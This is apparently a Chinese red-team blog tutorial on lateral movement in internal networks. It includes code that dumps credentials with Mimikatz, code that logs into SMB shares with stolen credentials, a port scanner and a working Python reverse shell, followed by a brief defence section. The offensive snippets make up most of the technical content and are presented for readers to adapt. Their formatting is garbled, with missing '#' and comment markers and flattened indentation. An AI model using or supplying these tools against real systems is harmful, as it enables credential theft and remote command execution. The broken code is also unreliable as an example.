0x01 渗透利器

在内网渗透的过程中,横向移动技术至关重要。它使得攻击者能够从初始感染点扩散到整个网络,最终获得更高的权限和访问更多的资源。从技术上讲,横向移动通常涉及获取凭证、利用共享资源、滥用信任关系等。本文将深入探讨常用的横向移动技术及其实现。

凭证盗取与利用

横向移动的第一步往往是凭证盗取。攻击者可以通过多种方式获取凭证,如内存抓取、钓鱼攻击、键盘记录等。一旦获得凭证,攻击者便可以尝试用这些凭证访问其他系统。以下是一个利用 Windows 的 Mimikatz 工具进行凭证抓取的示例:

<pre><code class="language-c">// 使用 Mimikatz 抓取凭证

include &lt;windows.h&gt;

include &lt;stdio.h&gt;

void fetch_credentials() { // 假设我们已经获取了系统权限 system(&quot;mimikatz.exe \&quot;privilege::debug\&quot; \&quot;sekurlsa::logonPasswords\&quot; exit&quot;); }

int main() { fetch_credentials(); return 0; }</code></pre>

口语化注释:这个小程序是个啥?它调用了 Mimikatz 这个神器来提取凭证,前提是你得有系统权限。

黑客示意图

利用 SMB 协议共享

黑客示意图

在内网中,SMB(Server Message Block)协议几乎无处不在。它用于文件共享、打印机共享等功能。攻击者可以利用 SMB 协议进行横向移动,通过已知的凭证访问其他系统的共享资源。

<pre><code class="language-python">import os import subprocess

def smb_connect(ip, username, password):

用提供的凭证连接到目标机器的 SMB 共享

command = f&quot;net use \\\\{ip}\\IPC$ /user:{username} {password}&quot; subprocess.call(command, shell=True)

演示如何连接到某台机器

smb_connect(&quot;192.168.1.100&quot;, &quot;admin&quot;, &quot;password123&quot;)</code></pre>

口语化注释:这个函数帮你用 SMB 连接到目标机器,记得换上你自己的 IP、用户名和密码哦!

探索目标

内网中的目标探索是一个动态过程,需要灵活应对不同的网络环境。攻击者通常会使用端口扫描、服务探测等技术来识别可攻击的目标。下面是一个简单的 Python 端口扫描器示例,用于发现目标机器上开放的端口:

<pre><code class="language-python">import socket

def port_scanner(target_ip):

扫描常见端口,看哪个开着呢?

for port in range(1, 1025): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((target_ip, port)) if result == 0: print(f&quot;Port {port} is open!&quot;) sock.close()

扫描目标 IP

port_scanner(&quot;192.168.1.100&quot;)</code></pre>

口语化注释:这段代码会跑一趟常见端口,让你知道哪些可以敲门进去。

0x02 实战环境搭建

要进行内网渗透测试,搭建一个模拟环境至关重要。通常包括目标机、控制机和一个中继机。目标机上运行各种服务,控制机用于发起攻击,中继机模拟网络间的信任关系。以下是一个基本环境的描述:

环境配置

  1. 目标机:安装 Windows Server,开启文件共享、RDP等服务。
  2. 控制机:运行 Kali Linux,安装必要的攻击工具。
  3. 中继机:配置为网络路由器,确保目标机和控制机之间的通信。

实战演练

黑客示意图

在模拟环境中,攻击者可以进行如下操作:

  • 利用 RDP 服务:尝试使用已知的凭证登录目标机。
  • 文件共享滥用:使用 SMB 协议在目标机上上传/下载文件。

0x03 Payload构造的艺术

构造有效的 Payload 是横向移动的关键。Payload 必须具备免杀、隐蔽性强等特点。以下是一个简单的 Python reverse shell 示例,它可以用于在目标机上执行远程命令:

<pre><code class="language-python">import socket import subprocess

def reverse_shell(target_ip, target_port):

链接到指定 IP 和端口,然后执行命令

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(b&quot;Connection established\n&quot;) while True: command = sock.recv(1024) if command.lower() == b&quot;exit&quot;: break output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) sock.send(output.stdout.read()) sock.close()

启动反弹 shell

reverse_shell(&quot;192.168.1.100&quot;, 4444)</code></pre>

口语化注释:这个反弹 shell 会连到目标 IP 的指定端口,啥命令都能跑。

防御与检测

黑客示意图

内网横向移动的防御策略主要包括:

凭证保护

  • 定期检查凭证存储:使用工具扫描内存中的凭证是否被泄露。
  • 启用 MFA:多因素认证能有效降低凭证被盗后的风险。

网络监控

  • 流量分析:识别异常流量,尤其是大量的 SMB 请求。
  • 日志审计:定期审查登录日志,发现异常登录活动。

个人经验分享

通过多年的红队经验,我发现横向移动不仅是技术的体现,更是一种策略的应用。有效的内网渗透往往需要结合多种技术手段,针对目标网络的具体情况量身定制。特别是在面对复杂的企业网络时,灵活应用各种工具和技术至关重要。同时,技术的迅速变化也要求我们时刻保持敏锐,不断学习和探索新的攻击手段。

总结起来,内网渗透横向移动不仅是技术的比拼,更是策略与耐心的较量。希望这篇文章能为你提供一些实战的灵感和思路。继续钻研,你会发现其中的乐趣无穷。